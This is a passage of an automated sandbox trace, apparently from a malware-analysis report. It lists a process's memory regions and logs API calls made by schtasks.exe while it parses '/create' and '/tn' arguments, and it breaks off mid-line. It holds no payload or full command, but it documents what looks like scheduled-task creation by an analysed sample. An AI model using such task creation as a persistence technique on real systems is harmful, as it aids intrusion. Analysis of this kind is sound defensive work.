"" Region: id = 3306 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3307 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3308 start_va = 0x260000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3309 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3310 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3311 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3312 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3313 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3314 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3315 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3316 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3317 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3318 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3319 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3320 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3321 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3322 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3323 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3324 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3325 start_va = 0xc0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3326 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3327 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3328 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3329 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3330 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 3331 start_va = 0x260000 end_va = 0x288fff monitored = 0 entry_point = 0x261010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3332 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3333 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3334 start_va = 0x640000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 3335 start_va = 0x7d0000 end_va = 0x1bcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3336 start_va = 0x260000 end_va = 0x271fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3355 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3356 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3357 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3358 start_va = 0x1bd0000 end_va = 0x1e9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3359 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3360 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3361 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3362 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3363 start_va = 0x1ea0000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 3371 start_va = 0x280000 end_va = 0x35efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3372 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3373 start_va = 0x1fb0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 3374 start_va = 0x2090000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 3375 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3376 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3377 start_va = 0x360000 end_va = 0x360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 3378 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3379 start_va = 0x370000 end_va = 0x370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 3380 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3381 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3382 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 163 os_tid = 0x3a8 [0146.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fea0 | out: lpSystemTimeAsFileTime=0x25fea0*(dwLowDateTime=0x254e32c0, dwHighDateTime=0x1d8a92a)) [0146.604] GetCurrentProcessId () returned 0x39c [0146.604] GetCurrentThreadId () returned 0x3a8 [0146.604] GetTickCount () returned 0x1389929 [0146.604] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x25fea8 | out: lpPerformanceCount=0x25fea8*=2062546763506) returned 1 [0146.605] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0146.605] __set_app_type (_Type=0x1) [0146.605] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0146.605] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0146.606] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0146.606] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0146.606] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0146.606] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0146.606] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0146.606] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0146.607] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0146.607] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0146.607] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0146.607] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0146.607] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0146.607] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0146.607] WinSqmIsOptedIn () returned 0x0 [0146.608] GetProcessHeap () returned 0x3b0000 [0146.608] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3c54a0 [0146.608] SetLastError (dwErrCode=0x0) [0146.608] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0146.608] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0146.608] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0146.608] VerifyVersionInfoW (in: lpVersionInformation=0x25f660, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25f660) returned 1 [0146.608] GetProcessHeap () returned 0x3b0000 [0146.608] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba20 [0146.608] lstrlenW (lpString="") returned 0 [0146.608] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x2) returned 0x3cba40 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c59a0 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba60 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c59d0 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a00 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a30 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a60 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba80 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a90 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5ac0 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5af0 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b20 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cbaa0 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b50 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b80 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5bb0 [0146.609] GetProcessHeap () returned 0x3b0000 [0146.609] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5be0 [0146.609] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0146.610] SetLastError (dwErrCode=0x0) [0146.610] GetProcessHeap () returned 0x3b0000 [0146.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5c10 [0146.610] GetProcessHeap () returned 0x3b0000 [0146.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5c40 [0146.610] GetProcessHeap () returned 0x3b0000 [0146.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5c70 [0146.610] GetProcessHeap () returned 0x3b0000 [0146.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5ca0 [0146.610] GetProcessHeap () returned 0x3b0000 [0146.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5cd0 [0146.610] GetProcessHeap () returned 0x3b0000 [0146.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cbac0 [0146.610] _memicmp (_Buf1=0x3cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.610] GetProcessHeap () returned 0x3b0000 [0146.610] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x208) returned 0x3cbc60 [0146.610] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cbc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0146.610] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0146.612] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0146.612] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0146.614] GetProcessHeap () returned 0x3b0000 [0146.614] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x74e) returned 0x3cc210 [0146.614] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0146.614] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3cc210 | out: lpData=0x3cc210) returned 1 [0146.614] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0146.614] VerQueryValueW (in: pBlock=0x3cc210, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25f748, puLen=0x25f7b0 | out: lplpBuffer=0x25f748*=0x3cc5ac, puLen=0x25f7b0) returned 1 [0146.617] _memicmp (_Buf1=0x3cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.617] _vsnwprintf (in: _Buffer=0x3cbc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25f728 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0146.617] VerQueryValueW (in: pBlock=0x3cc210, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25f7b8, puLen=0x25f7a8 | out: lplpBuffer=0x25f7b8*=0x3cc3d8, puLen=0x25f7a8) returned 1 [0146.617] lstrlenW (lpString="schtasks.exe") returned 12 [0146.617] lstrlenW (lpString="schtasks.exe") returned 12 [0146.617] lstrlenW (lpString=".EXE") returned 4 [0146.617] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0146.619] lstrlenW (lpString="schtasks.exe") returned 12 [0146.619] lstrlenW (lpString=".EXE") returned 4 [0146.619] _memicmp (_Buf1=0x3cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.619] lstrlenW (lpString="schtasks") returned 8 [0146.619] GetProcessHeap () returned 0x3b0000 [0146.619] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5dc0 [0146.619] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb20 [0146.620] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb50 [0146.620] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb80 [0146.620] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cbae0 [0146.620] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.620] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa0) returned 0x3cc060 [0146.620] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccbb0 [0146.620] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccbe0 [0146.620] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc10 [0146.620] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cbb00 [0146.620] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.620] GetProcessHeap () returned 0x3b0000 [0146.620] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x200) returned 0x3cd2f0 [0146.620] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0146.621] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0146.621] GetProcessHeap () returned 0x3b0000 [0146.621] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x30) returned 0x3c7ac0 [0146.621] _vsnwprintf (in: _Buffer=0x3cc060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25f728 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0146.621] GetProcessHeap () returned 0x3b0000 [0146.621] GetProcessHeap () returned 0x3b0000 [0146.621] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc210) returned 1 [0146.621] GetProcessHeap () returned 0x3b0000 [0146.621] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc210) returned 0x74e [0146.621] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc210 | out: hHeap=0x3b0000) returned 1 [0146.621] SetLastError (dwErrCode=0x0) [0146.622] GetThreadLocale () returned 0x409 [0146.622] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.622] lstrlenW (lpString="?") returned 1 [0146.622] GetThreadLocale () returned 0x409 [0146.622] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.622] lstrlenW (lpString="create") returned 6 [0146.622] GetThreadLocale () returned 0x409 [0146.622] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.622] lstrlenW (lpString="delete") returned 6 [0146.622] GetThreadLocale () returned 0x409 [0146.622] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.622] lstrlenW (lpString="query") returned 5 [0146.622] GetThreadLocale () returned 0x409 [0146.622] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.622] lstrlenW (lpString="change") returned 6 [0146.622] GetThreadLocale () returned 0x409 [0146.622] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.622] lstrlenW (lpString="run") returned 3 [0146.622] GetThreadLocale () returned 0x409 [0146.622] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.622] lstrlenW (lpString="end") returned 3 [0146.622] GetThreadLocale () returned 0x409 [0146.622] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.623] lstrlenW (lpString="showsid") returned 7 [0146.623] GetThreadLocale () returned 0x409 [0146.623] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0146.623] SetLastError (dwErrCode=0x0) [0146.623] SetLastError (dwErrCode=0x0) [0146.623] lstrlenW (lpString="/create") returned 7 [0146.623] lstrlenW (lpString="-/") returned 2 [0146.623] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.623] lstrlenW (lpString="?") returned 1 [0146.623] lstrlenW (lpString="?") returned 1 [0146.623] GetProcessHeap () returned 0x3b0000 [0146.623] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cc210 [0146.623] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.623] GetProcessHeap () returned 0x3b0000 [0146.623] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa) returned 0x3cc230 [0146.623] lstrlenW (lpString="create") returned 6 [0146.623] GetProcessHeap () returned 0x3b0000 [0146.623] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cc250 [0146.623] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.623] GetProcessHeap () returned 0x3b0000 [0146.623] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x14) returned 0x3cc270 [0146.623] _vsnwprintf (in: _Buffer=0x3cc230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|?|") returned 3 [0146.623] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|create|") returned 8 [0146.623] lstrlenW (lpString="|?|") returned 3 [0146.623] lstrlenW (lpString="|create|") returned 8 [0146.623] SetLastError (dwErrCode=0x490) [0146.623] lstrlenW (lpString="create") returned 6 [0146.623] lstrlenW (lpString="create") returned 6 [0146.623] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.624] GetProcessHeap () returned 0x3b0000 [0146.624] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc230) returned 1 [0146.624] GetProcessHeap () returned 0x3b0000 [0146.624] RtlReAllocateHeap (Heap=0x3b0000, Flags=0xc, Ptr=0x3cc230, Size=0x14) returned 0x3cc290 [0146.624] lstrlenW (lpString="create") returned 6 [0146.624] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.624] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|create|") returned 8 [0146.624] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f738 | out: _Buffer="|create|") returned 8 [0146.624] lstrlenW (lpString="|create|") returned 8 [0146.624] lstrlenW (lpString="|create|") returned 8 [0146.624] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0146.624] SetLastError (dwErrCode=0x0) [0146.624] SetLastError (dwErrCode=0x0) [0146.624] SetLastError (dwErrCode=0x0) [0146.624] lstrlenW (lpString="/tn") returned 3 [0146.624] lstrlenW (lpString="-/") returned 2 [0146.624] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.624] lstrlenW (lpString="?") returned 1 [0146.624] lstrlenW (lpString="?") returned 1 [0146.624] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.624] lstrlenW (lpString="tn") returned 2 [0146.624] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.624] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f738 | out: 